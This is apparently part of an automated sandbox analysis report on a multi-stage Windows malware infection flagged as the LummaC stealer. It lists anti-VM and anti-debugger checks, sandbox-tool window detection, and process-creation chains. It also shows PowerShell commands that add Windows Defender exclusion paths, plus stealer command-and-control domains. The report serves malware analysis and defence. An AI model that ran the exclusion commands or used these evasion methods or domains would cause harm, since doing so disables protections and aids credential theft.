Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 95312
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 95203
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 95093
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 94984
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 94875
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 94765
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 94655
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 94546
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 94436
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 94325
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Thread delayed: delay time: 94206
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: skotes.exe, skotes.exe, 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmp, 7349a3c308.exe, 0000000C.00000002.2755119787.00000000006EF000.00000040.00000001.01000000.0000000D.sdmp, 63ebe314bb.exe, 0000000D.00000002.2657407198.000000000051D000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: d3ba7fdf70.exe, 00000012.00000002.2866920682.0000000006941000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000000E.00000003.2635852169.0000000004E40000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: skotes.exe, 00000005.00000002.2960801644.0000000000EF9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.2960801644.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, 44098beb09.exe, 0000000A.00000002.2637238113.000000000139D000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 7349a3c308.exe, 0000000C.00000002.2757630773.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2570358917.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2681694802.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2726909766.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000002.2757630773.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2750378110.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2659646310.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: d3ba7fdf70.exe, 00000012.00000002.2866920682.0000000006941000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 7349a3c308.exe, 0000000C.00000002.2757630773.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2570358917.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2681694802.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2726909766.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2659646310.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2687078459.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, 7349a3c308.exe, 0000000C.00000003.2751160269.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWg
Source: skotes.exe, 00000005.00000002.2960801644.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW}O
Source: svchost.exe, 0000000E.00000003.2635852169.0000000004E40000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: file.exe, 00000000.00000002.1730101461.0000000000C2F000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1752913275.0000000000AEF000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmp, 7349a3c308.exe, 0000000C.00000002.2755119787.00000000006EF000.00000040.00000001.01000000.0000000D.sdmp, 63ebe314bb.exe, 0000000D.00000002.2657407198.000000000051D000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 44098beb09.exe, 0000000A.00000002.2636895993.000000000136C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: svchost.exe, 0000000E.00000002.2645486953.0000000002F20000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: IqEmU
Source: d3ba7fdf70.exe, 00000012.00000002.2851023310.0000000000FF3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 44098beb09.exe, 00000006.00000000.2425531210.0000000000132000.00000002.00000001.01000000.0000000A.sdmp, 44098beb09.exe, 00000006.00000002.2434720509.0000000003709000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: F7hGfsX1sRaIfeD1h5f

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node			graph_1-10839
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node			graph_1-10878

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_054F04ED Start: 054F05B1 End: 054F04BA

0_2_054F04ED

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_054F00F6 rdtsc

0_2_054F00F6

Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe

Code function: 10_2_0043C1F0 LdrInitializeThunk,

10_2_0043C1F0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A7652B mov eax, dword ptr fs:[00000030h]	0_2_00A7652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A7A302 mov eax, dword ptr fs:[00000030h]	0_2_00A7A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0093A302 mov eax, dword ptr fs:[00000030h]	1_2_0093A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_0093652B mov eax, dword ptr fs:[00000030h]	1_2_0093652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0093A302 mov eax, dword ptr fs:[00000030h]	5_2_0093A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0093652B mov eax, dword ptr fs:[00000030h]	5_2_0093652B

Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\iscwgalo"
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\iscwgalo"
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"

LummaC encrypted strings found

Source: 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: 44098beb09.exe, 00000006.00000002.2433757320.0000000002701000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: lossekniyyt.click
Source: 7349a3c308.exe, 0000000C.00000003.2525450472.0000000004B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cheapptaxysu.click
Source: 2f3190c49d.exe, 00000019.00000002.2957603588.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pancakedipyps.click

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe "C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe "C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe "C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process created: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process created: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process created: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process created: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\iscwgalo"
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: unknown unknown
